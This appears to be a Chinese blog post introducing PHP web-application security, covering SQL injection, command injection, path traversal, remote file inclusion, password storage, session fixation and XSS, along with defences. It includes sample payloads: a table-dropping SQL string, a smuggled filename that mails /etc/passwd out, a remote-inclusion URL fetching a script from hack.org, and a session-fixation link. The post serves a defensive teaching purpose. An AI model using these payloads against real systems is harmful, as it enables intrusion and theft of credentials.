涵舐渊

25 Feb.

php开发之web安全方面(一)

ch7ss's Blog:

X0chitl|网络安全|漏洞安全|PHP编程:



river0314:







大多数黑客很懒,甚至很烂,稍微加点防护,他们就是去寻找下一个目标,当然你的代码和服务器安全性都很低的话,他们很有可能给你破坏的乱七八糟,代码的最佳安全是可以1VN多个专门你网站的黑客。




1.Sql注入(防止注入和隐藏报错)




基础的sql注入也是最基础的防范,简单的sql注入很简单,直接登陆框里输入1=1;droptable users; 这样很有可能会造成巨大的问题,sql注入的防止也同样简单




①最简单的原生PHP可以使用正则过滤,处理掉一些特殊输入,例如=,>,<符号等,还有一些sql敏感词,drop,insert等,不怎么建议采用。




②prepare andbind,PDO预处理机制,防止数据库注入,PHP官方推荐的sql操作,同时也是现阶段比较安全完善的防止数据库注入的方法。




③构建错误处理机制,不将数据库查询或者其他错误的信息直观的暴露给用户,用户的每次输入不代表安全,而友好的报错也是一种不错的体验。




④验证用户输入,将输入进行过滤,htmlspecialchars等函数及正则,长度,合法性的验证,例如设计为7位长度的int类型字符串,禁止用户写入超过十位的数据。




2.防止系统调用




这个是主要为了防止将服务器作为肉鸡,典型的例子是,通过php操作你的服务器,执行命令,频繁向一个地址发包,将你的服务器作为一个[肉鸡]攻击另一台服务器,或者通过你的服务器频繁发送垃圾邮件,都是有可能的。




攻击形式:上传一个敏感命令的文件:如:  ;mailxxxa@xx.com< /etc/passwd;




系统接收者文件之后,移动文件的时候,将执行'mv$filename /xxx/uploads'命令,mv命令会报错,而下一个命令会将密码发到指定邮箱。如果文件名是;while(1==1){pingbaidu.com} 




①使用escapeshellcmd命令可以转义或者在字符串的任何字符之前加上斜线。




②使用escapeshellarg命令将整句字符用单引号包括起来。




③最好不要使用系统命令,使用php函数进行一些服务器上的操作,同时限制稀土函数的使用。




3.缓冲区溢出问题




原因:php没有设置能够保存的数据大小的限制,大批量发送垃圾数据,将有可能导致php的缓存溢出,造成服务器崩溃。




一般造成php缓冲区问题的是对底层C语言的攻击,或者PHP本身自己的错误,所以这个问题只有过滤输入的字符长度,这也来限制,同时关注php安全问题,及时修复更新。




4.对文件系统的攻击




单一的简单攻击是,上传一个文件名为../www/或者其他的,对你的服务器一些目录进行破坏作用的文件名,mv移动文件的时候,将会造成问题,




还有就是php自带的远程文件系统访问,攻击如:https://www.xxx.com/index.php?file=https://hack.org/hack.sh一些恶意脚本下载到你的网站目录,实现攻击,




预防措施:将php配置文件的allow_url_fopen禁用,对于下载的文件,先进行验证,在做处理。同时在常规维护的时候,将旧文件删除,同时在独立的文件系统保存文件,使用一些入侵监测系统进行保护。对于上传的文件,进行验证,例如文件类型的验证。




5.对于用户的安全性保护




用户数据需要被安全的存储,最基础的密码md5加密,不再推荐使用md5,很多网站的被撞库都是因为md5存储数据,php提供了一些password_hash,mcrypt函数,同时都可以采用第三方加密函数进行加密,在加密的时候让用户输入更复杂的密码对数据库也是一种保护。




对用户的类型不同而设计可操作权限,这个将限制一些账号被盗用造成的损害。




6.会话安全




<ahref='www.xxx.com?PHPSESSID=1211'>clickhere</a>,通过这样的链接,用户登陆之后,黑客可以等待用户登录之后,使用用户的身份进行登陆,造成破坏,




防治就是:session_regenerate_id函数可以将旧的会话文件删除,然后生成新的session文件,还有就是设置会话超市属性,这样可以一定程度是避免损伤,也可以使用SSL/TSL对网络侦探进行防御(这个具体不清楚了,不好意思),一些安全性逻辑可以是为一个用户固定一个登陆地址,此处可以通过ip,或者header信息保存,确定用户的常用登陆地址,在异地登录时,进行验证。




7.XSS注入




就是输入一些恶意的网页代码,如果后端不进行限制验证,直接在数据库存储,在前端展示的情况下,会对一段恶意js都没有抵抗,高级黑客会通过允许的HTML内嵌入恶意代码解决这种预定HTML子集的限制,最经典的是对百度贴吧的XSS攻击。




有些第三方过滤器可以实习那php过滤,PHPIDS , HTML Purifier等。








尾迹:欢迎讨论,联系邮箱:Limbo0720@outlook.com,此篇文章为原创,复制的时候请保留邮箱一下,谢谢了。





评论
热度(4)
努力进入安全领域

© 涵舐渊 | Powered by LOFTER